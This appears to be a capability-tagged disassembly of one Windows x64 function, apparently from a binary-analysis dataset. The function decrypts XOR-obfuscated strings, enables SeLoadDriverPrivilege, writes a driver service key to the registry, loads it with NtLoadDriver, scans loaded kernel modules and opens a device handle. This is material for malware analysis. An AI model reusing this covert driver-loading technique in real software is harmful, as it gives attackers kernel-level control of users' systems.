Function at 0x1405780dc
Capabilities:
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x670
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14069d080]
xor rax, rsp
mov qword [rbp + 0x608], rax
xor edi, edi
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x4c0], rax
movabs rax, 0x2c672f7feb76f4c8
mov qword [rbp + 0x4c8], rax
movabs rax, 0x937273060e8fdda1
mov qword [rbp + 0x1e0], rax
movabs rax, 0x2c672f7feb7687b1
mov qword [rbp + 0x1e8], rax
movups xmm0, xmmword [rbp + 0x1e0]
movdqa xmm1, xmmword [rbp + 0x4c0]
pxor xmm1, xmm0
movdqa xmmword [rbp + 0x1e0], xmm1
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x2a0]
call fcn.14057bf94
nop
mov qword [0x14069ec98], rdi
mov qword [0x14069ece8], rdi
mov eax, dword [0x140639bf4]
mov dword [rbp + 0x5f0], eax
movzx eax, word [0x140639bf8]
mov word [rbp + 0x5f4], ax
lea rcx, [rbp + 0x2a0]
call fcn.140575f10
mov r15, rax
mov ebx, edi
mov dword [rbp + 0x1c8], edi
lea r9, [rbp + 0x1c8]
xor r8d, r8d
xor edx, edx
lea esi, [rdi + 0xb]
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r13d, 0x8000
mov r14d, 0xc0000004
jmp 0x140578230
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c8]
mov r8d, dword [rbp + 0x1c8]
mov rdx, rax
mov ecx, esi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, r14d
je 0x1405781ee
mov r12d, 1
test eax, eax
jns 0x14057824f
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1405782c3
mov esi, edi
cmp dword [rbx], edi
jbe 0x1405782a9
mov eax, esi
imul r14, rax, 0x128
movzx edx, word [r14 + rbx + 0x2e]
add rdx, 0x30
add rdx, r14
add rdx, rbx
lea rcx, [rbp + 0x1f8]
call fcn.14057bf94
lea rcx, [rbp + 0x1f8]
call fcn.140575f10
mov rdx, r15
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1405782de
lea rcx, [rbp + 0x1f8]
call fcn.140575374
add esi, r12d
cmp esi, dword [rbx]
jb 0x140578255
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, rdi
test rsi, rsi
jne 0x140579be1
mov rax, qword [0x14069e9b0]
mov edx, 0x5a4d
mov ecx, 0x4550
cmp word [rax], dx
je 0x1405782ff
mov rsi, rdi
jmp 0x14057830c
mov rsi, qword [r14 + rbx + 0x18]
mov r8d, r13d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x1f8]
call fcn.140575374
jmp 0x1405782ba
movsxd rsi, dword [rax + 0x3c]
add rsi, rax
cmp dword [rsi], ecx
cmovne rsi, rdi
mov qword [rbp + 0x5c0], rsi
cmp dword [rsi], ecx
je 0x14057832a
lea rcx, [rbp + 0x2a0]
call fcn.140575374
xor al, al
jmp 0x140579bed
mov ebx, dword [rsi + 0x50]
mov qword [rbp + 0x5f8], rbx
mov qword [0x14069ece8], rbx
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x500]
call fcn.14057bfc8
mov r9d, ebx
lea r8, [rbp + 0x5f0]
mov rdx, rax
lea rcx, [rbp + 0x320]
call fcn.140576b98
nop
cmp dword [rbp + 0x368], edi
je 0x1405795b5
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x2f8]
call fcn.14057bf1c
mov qword [rbp + 0x1c8], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1c8]
mov edx, Ordinal_41
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1405783b5
mov bl, r12b
jmp 0x140578437
mov qword [rbp + 0x1f0], rdi
lea rcx, [rbp + 0x2f8]
call fcn.14057c550
lea r8, [rbp + 0x1f0]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1405783ad
mov dword [rbp + 0x4c0], r12d
mov rax, qword [rbp + 0x1f0]
mov qword [rbp + 0x4c4], rax
mov dword [rbp + 0x4cc], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x4c0]
xor edx, edx
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1405783ad
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, dil
lea rcx, [rbp + 0x2f8]
call fcn.14057c4ec
test bl, bl
je 0x14057844f
mov r12d, edi
jmp 0x1405788f1
xor r8d, r8d
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x58]
call fcn.14057ca50
nop
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140575b08
nop
lea r8, [rbp]
lea rdx, [rbp + 0x2d8]
mov rcx, rax
call fcn.14057c7cc
nop
lea r8, [rbp + 0x2d8]
lea rdx, [0x140639b84]
lea rcx, [rbp + 0x18]
call fcn.14057c990
mov r14, rax
movabs r13, 0xe05c12626cf9a5c3
mov qword [rbp + 0x580], r13
movabs r15, 0x2c672f7feb76f4c8
mov qword [rbp + 0x588], r15
movabs rax, 0xbbefa3f0c095ebb5
mov qword [rbp + 0x590], rax
movabs rax, 0x12e622d8da166aa
mov qword [rbp + 0x598], rax
movabs rax, 0x5fd3425e93a914d7
mov qword [rbp + 0x5a0], rax
movabs rax, 0xaee7a74b96b345dc
mov qword [rbp + 0x5a8], rax
movabs rcx, 0xa3007f07188adc90
mov qword [rbp + 0x540], rcx
movabs rcx, 0x43245b118e0486bd
mov qword [rbp + 0x548], rcx
movabs rcx, 0xcf8af09cafe79fdb
mov qword [rbp + 0x550], rcx
movabs rcx, 0x644d0b5bffc435f6
mov qword [rbp + 0x558], rcx
movabs rcx, 0x5fd3425e93a948a4
mov qword [rbp + 0x560], rcx
mov qword [rbp + 0x568], rax
movups xmm0, xmmword [rbp + 0x540]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rbp + 0x550]
movups xmmword [rbp + 0xf0], xmm1
movups xmm2, xmmword [rbp + 0x560]
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x580]
vmovdqa ymmword [rbp + 0xe0], ymm1
vpxor xmm2, xmm2, xmmword [rbp + 0x5a0]
vmovdqa xmmword [rbp + 0x100], xmm2
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1f8]
vzeroupper
call fcn.14057bf94
nop
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x1f8]
call fcn.14057bf50
lea rcx, [rbp + 0x1f8]
call fcn.140575f10
lea r8, [rbp + 0x1c0]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140578604
mov bl, r12b
jmp 0x1405786f6
mov byte [rbp + 0x1d9], r12b
mov ebx, 4
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1d9]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405785fc
mov byte [rbp + 0x1da], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1da]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405785fc
mov byte [rbp + 0x1db], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1db]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405785fc
mov rbx, qword [r14 + 0x10]
mov rcx, r14
call fcn.140575f10
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r12d
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405785fc
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0x1f8]
call fcn.140575374
nop
lea rcx, [rbp + 0x18]
call fcn.140575374
nop
lea rcx, [rbp + 0x2d8]
call fcn.140575374
nop
lea rcx, [rbp + 0x38]
call fcn.14057c4ec
nop
lea rcx, [rbp + 0x58]
call fcn.14057c4ec
test bl, bl
jne 0x140578447
mov qword [rbp + 0x540], r13
mov qword [rbp + 0x548], r15
movabs rax, 0xbbefa3f0c095ebb5
mov qword [rbp + 0x550], rax
movabs rax, 0x12e622d8da166aa
mov qword [rbp + 0x558], rax
movabs rax, 0x5fd3425e93a914d7
mov qword [rbp + 0x560], rax
movabs rax, 0xaee7a74b96b345dc
mov qword [rbp + 0x568], rax
movabs rax, 0xabd9415cf72d7259
mov qword [rbp + 0x570], rax
movabs rax, 0xca4e29a958afbdfe
mov qword [rbp + 0x578], rax
movabs rcx, 0x9228610b0b9cf79f
mov qword [rbp + 0x580], rcx
movabs rcx, 0x420e471c8a3ba8b1
mov qword [rbp + 0x588], rcx
movabs rcx, 0xd68ad783b9c6b7d0
mov qword [rbp + 0x590], rcx
movabs rcx, 0x7540075fffd425f6
mov qword [rbp + 0x598], rcx
movabs rcx, 0xcbf2d2ce7c77b94
mov qword [rbp + 0x5a0], rcx
movabs rcx, 0xc791d52ec5ef31b9
mov qword [rbp + 0x5a8], rcx
movabs rcx, 0xabd9415cab5e173a
mov qword [rbp + 0x5b0], rcx
mov qword [rbp + 0x5b8], rax
mov r8d, 0x40
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memcpy
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x560]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x260]
vzeroupper
call fcn.14057bf94
nop
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x260]
call fcn.14057bf50
lea rcx, [rbp + 0x260]
call fcn.140575f10
mov rdx, rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, r12b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
mov ebx, eax
lea rcx, [rbp + 0x260]
call fcn.140575374
mov r12d, edi
test ebx, ebx
sete r12b
lea rcx, [rbp + 0x340]
call fcn.140575f10
mov r13, rax
mov rbx, rdi
mov dword [rbp + 0x1c8], edi
lea r9, [rbp + 0x1c8]
xor r8d, r8d
xor edx, edx
lea r14d, [r8 + 0xb]
mov ecx, r14d
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r15d, 0xc0000004
jmp 0x140578970
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x1c8]
mov r8d, dword [rbp + 0x1c8]
mov rdx, rax
mov ecx, r14d
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, r15d
je 0x14057892a
test eax, eax
js 0x1405789da
mov r14d, edi
cmp dword [rbx], edi
jbe 0x1405789da
mov eax, r14d
imul r15, rax, 0x128
movzx edx, word [rbx + r15 + 0x2e]
add rdx, 0x30
add rdx, rbx
add rdx, r15
lea rcx, [rbp + 0x280]
call fcn.14057bf94
lea rcx, [rbp + 0x280]
call fcn.140575f10
mov rdx, r13
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140578ac5
lea rcx, [rbp + 0x280]
call fcn.140575374
inc r14d
cmp r14d, dword [rbx]
jb 0x140578980
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14, rdi
mov r15d, 1
cmp r12d, r15d
ja 0x1405795b5
test r14, r14
je 0x1405795b5
mov r13d, dword [rbp + 0x360]
add r13, r14
mov qword [rbp + 8], r13
mov qword [0x14069ec98], r13
mov r14d, 4
mov rax, qword gs:[0x58]
mov r12, qword [rax]
mov eax, dword [r14 + r12]
cmp dword [0x14069ee00], eax
jle 0x140578bd9
lea rcx, [0x14069ee00]
call fcn.140626068
cmp dword [0x14069ee00], 0xffffffff
jne 0x140578bd9
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x4c0], rax
movabs rax, 0x2c672f7feb76f4c8
mov qword [rbp + 0x4c8], rax
movabs rax, 0x8c3260091f96d1ad
mov qword [rbp + 0x1e0], rax
movabs rax, 0x2c672f7f8e0e91e6
mov qword [rbp + 0x1e8], rax
movups xmm0, xmmword [rbp + 0x1e0]
movdqa xmm1, xmmword [rbp + 0x4c0]
pxor xmm1, xmm0
movdqa xmmword [rbp + 0x1e0], xmm1
mov rbx, rdi
mov dword [rbp + 0x1c0], edi
xor r8d, r8d
xor edx, edx
jmp 0x140578b22
mov r14, qword [rbx + r15 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x280]
call fcn.140575374
jmp 0x1405789ee
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x1c0]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, dword [rbp + 0x1c0]
mov rdx, rax
lea r9, [rbp + 0x1c0]
mov ecx, ntohs
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140578aec
test eax, eax
jns 0x140578b52
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140578bcd
mov r14d, edi
cmp dword [rbx], edi
jbe 0x140578bb6
mov eax, r14d
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rcx, 0x30
add rdx, rcx
add rdx, rbx
lea rcx, [rbp + 0x1f8]
call fcn.14057bf94
lea rcx, [rbp + 0x1f8]
call fcn.140575f10
lea rdx, [rbp + 0x1e0]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140578e3f
lea rcx, [rbp + 0x1f8]
call fcn.140575374
add r14d, r15d
cmp r14d, dword [rbx]
jb 0x140578b59
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, 4
lea rcx, [0x14069ee00]
call fcn.140626008
mov eax, dword [r14 + r12]
cmp dword [0x14069ee48], eax
jle 0x140578c12
lea rcx, [0x14069ee48]
call fcn.140626068
cmp dword [0x14069ee48], 0xffffffff
jne 0x140578c12
call fcn.140576260
mov qword [0x14069ee38], rax
lea rcx, [0x14069ee48]
call fcn.140626008
mov eax, dword [r14 + r12]
cmp dword [0x14069ee28], eax
jle 0x140578c4b
lea rcx, [0x14069ee28]
call fcn.140626068
cmp dword [0x14069ee28], 0xffffffff
jne 0x140578c4b
call fcn.140576658
mov qword [0x14069ee30], rax
lea rcx, [0x14069ee28]
call fcn.140626008
cmp qword [0x14069ee38], rdi
je 0x1405795b5
cmp qword [0x14069ee30], rdi
je 0x1405795b5
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x4c0], rax
movabs rax, 0x2c672f7feb76f4c8
mov qword [rbp + 0x4c8], rax
movabs rax, 0x847220511e9cd6b6
mov qword [rbp + 0x1e0], rax
movabs rax, 0x2c672f7feb7698a4
mov qword [rbp + 0x1e8], rax
movups xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rbp + 0xc0], xmm0
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
lea r9, [rbp + 0x11]
lea r8, [0x140640370]
lea rdx, [0x140639d20]
lea rcx, [rbp + 0x260]
call fcn.14057cc68
nop
mov eax, dword [r14 + r12]
cmp dword [0x14069e914], eax
jle 0x140578d2c
lea rcx, [0x14069e914]
call fcn.140626068
cmp dword [0x14069e914], 0xffffffff
jne 0x140578d2c
lea rcx, [0x14069e914]
call fcn.140626008
mov ebx, reloc.WS2_32.dll_recv
mov r8d, ebx
lea rdx, [rbp + 0x1f8]
lea rcx, [0x14069e8f0]
call fcn.1405774f8
nop
lea rcx, [rbp + 0x1a0]
call fcn.140575cbc
nop
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x58]
mov rcx, rax
call fcn.14057c7cc
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x58]
call fcn.14057bf50
mov rdx, rax
lea rcx, [rbp + 0x2f8]
call fcn.14057bf64
nop
lea rcx, [rbp + 0x58]
call fcn.140575374
nop
lea rcx, [rbp + 0x1a0]
call fcn.14057c4ec
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x3b0]
call fcn.14062736c
lea rcx, [rbp + 0x2f8]
call fcn.140575f10
mov dword [rsp + 0x20], r15d
lea r9d, [rbx + 0x30]
lea r8d, [rbx + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x3b0]
call fcn.14057b04c
nop
mov r8, qword [rbp + 0x268]
mov rdx, qword [rbp + 0x260]
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x3b0]
call fcn.14057afbc
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x38]
call fcn.14057bf1c
mov qword [rbp + 0x1d0], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x1d0]
lea edx, [rbx + 0x18]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140578e61
mov bl, r15b
jmp 0x140578ee1
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rbp + 0x1f8]
call fcn.140575374
jmp 0x140578bc7
mov qword [rbp + 0x258], rdi
lea rcx, [rbp + 0x38]
call fcn.14057c550
lea r8, [rbp + 0x258]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140578e37
mov dword [rbp + 0x1e0], r15d
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x1e4], rax
mov dword [rbp + 0x1ec], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, ebx
lea r8, [rbp + 0x1e0]
xor edx, edx
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140578e37
mov rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, dil
lea rcx, [rbp + 0x38]
call fcn.14057c4ec
test bl, bl
je 0x140578f00
mov bl, dil
movabs r14, 0x2c672f7feb76f4c8
jmp 0x1405793bd
xor r8d, r8d
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x580]
call fcn.14057ca50
nop
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140575b08
nop
lea r8, [rbp + 1]
lea rdx, [rbp + 0x18]
mov rcx, rax
call fcn.14057c7cc
nop
lea r8, [rbp + 0x18]
lea rdx, [0x140639b84]
lea rcx, [rbp + 0x80]
call fcn.14057c990
mov r14, rax
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x4c0], rax
movabs rax, 0x2c672f7feb76f4c8
mov qword [rbp + 0x4c8], rax
movabs rax, 0xbbefa3f0c095ebb5
mov qword [rbp + 0x4d0], rax
movabs rax, 0x12e622d8da166aa
mov qword [rbp + 0x4d8], rax
movabs rax, 0x5fd3425e93a914d7
mov qword [rbp + 0x4e0], rax
movabs rax, 0xaee7a74b96b345dc
mov qword [rbp + 0x4e8], rax
movabs rcx, 0xa3007f07188adc90
mov qword [rbp + 0x500], rcx
movabs rcx, 0x43245b118e0486bd
mov qword [rbp + 0x508], rcx
movabs rcx, 0xcf8af09cafe79fdb
mov qword [rbp + 0x510], rcx
movabs rcx, 0x644d0b5bffc435f6
mov qword [rbp + 0x518], rcx
movabs rcx, 0x5fd3425e93a948a4
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], rax
movups xmm0, xmmword [rbp + 0x500]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rbp + 0x510]
movups xmmword [rbp + 0x170], xmm1
movups xmm2, xmmword [rbp + 0x520]
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x160], ymm1
vpxor xmm2, xmm2, xmmword [rbp + 0x4e0]
vmovdqa xmmword [rbp + 0x180], xmm2
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x390]
vzeroupper
call fcn.14057bf94
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x390]
call fcn.14057bf50
lea rcx, [rbp + 0x390]
call fcn.140575f10
lea r8, [rbp + 0x1c0]
mov rdx, rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1405790b8
mov bl, r15b
jmp 0x1405791aa
mov byte [rbp + 0x1db], r15b
mov ebx, 4
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1db]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405790b0
mov byte [rbp + 0x1da], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1da]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405790b0
mov byte [rbp + 0x1d9], 3
mov dword [rsp + 0x28], ebx
lea rax, [rbp + 0x1d9]
mov qword [rsp + 0x20], rax
mov r9d, ebx
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405790b0
mov rbx, qword [r14 + 0x10]
mov rcx, r14
call fcn.140575f10
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, r15d
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1405790b0
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0x390]
call fcn.140575374
nop
lea rcx, [rbp + 0x80]
call fcn.140575374
nop
lea rcx, [rbp + 0x18]
call fcn.140575374
nop
lea rcx, [rbp + 0xe0]
call fcn.14057c4ec
nop
lea rcx, [rbp + 0x580]
call fcn.14057c4ec
movabs r14, 0x2c672f7feb76f4c8
test bl, bl
je 0x1405791fd
mov bl, dil
jmp 0x1405793bd
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], r14
movabs rax, 0xbbefa3f0c095ebb5
mov qword [rbp + 0x510], rax
movabs rax, 0x12e622d8da166aa
mov qword [rbp + 0x518], rax
movabs rax, 0x5fd3425e93a914d7
mov qword [rbp + 0x520], rax
movabs rax, 0xaee7a74b96b345dc
mov qword [rbp + 0x528], rax
movabs rax, 0xabd9415cf72d7259
mov qword [rbp + 0x530], rax
movabs rax, 0xca4e29a958afbdfe
mov qword [rbp + 0x538], rax
movabs rcx, 0x9228610b0b9cf79f
mov qword [rbp + 0x4c0], rcx
movabs rcx, 0x420e471c8a3ba8b1
mov qword [rbp + 0x4c8], rcx
movabs rcx, 0xd68ad783b9c6b7d0
mov qword [rbp + 0x4d0], rcx
movabs rcx, 0x7540075fffd425f6
mov qword [rbp + 0x4d8], rcx
movabs rcx, 0xcbf2d2ce7c77b94
mov qword [rbp + 0x4e0], rcx
movabs rcx, 0xc791d52ec5ef31b9
mov qword [rbp + 0x4e8], rcx
movabs rcx, 0xabd9415cab5e173a
mov qword [rbp + 0x4f0], rcx
mov qword [rbp + 0x4f8], rax
mov r8d, 0x40
lea rdx, [rbp + 0x4c0]
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memcpy
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x500]
vmovdqa ymmword [rbp + 0x120], ymm1
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x140], ymm1
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x2d8]
vzeroupper
call fcn.14057bf94
nop
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x2d8]
call fcn.14057bf50
lea rcx, [rbp + 0x2d8]
call fcn.140575f10
mov rdx, rax
lea rcx, [rbp + 0x370]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, r15b
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x380]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp + 0x380]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
lea rcx, [rbp + 0x2d8]
call fcn.140575374
mov byte [rbp], bl
lea r9, [rbp + 0x1f8]
lea r8, [rbp]
mov dl, byte [rbp + 1]
lea rcx, [rbp + 0x540]
call fcn.14057d7bc
nop
lea rcx, [rbp + 0x458]
call fcn.14057aff0
lea rcx, [rbp + 0x458]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x2f8]
call fcn.140575374
nop
lea rcx, [rbp + 0x1f8]
call fcn.140575374
nop
lea rcx, [rbp + 0x260]
call fcn.14057bcfc
nop
cmp byte [rbp + 0x560], dil
jne 0x14057945e
lea rcx, [rbp + 0x500]
call fcn.14057c0a0
nop
mov qword [rbp + 0x230], rdi
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x238]
call fcn.14057bfc8
nop
lea rcx, [rbp + 0x500]
call fcn.140575374
jmp 0x1405794f4
movabs rax, 0xe05c12626cf9a5c3
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], r14
movabs rax, 0xe0135b2530d7f99f
mov qword [rbp + 0x4c0], rax
mov qword [rbp + 0x4c8], r14
movups xmm0, xmmword [rbp + 0x4c0]
pxor xmm0, xmmword [rbp + 0x220]
movdqa xmmword [rbp + 0xd0], xmm0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14069e8a0], rax
mov qword [rbp + 0x230], rax
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x238]
call fcn.14057bfc8
nop
lea rcx, [rbp + 0x540]
call fcn.140575374
nop
cmp qword [rbp + 0x230], rdi
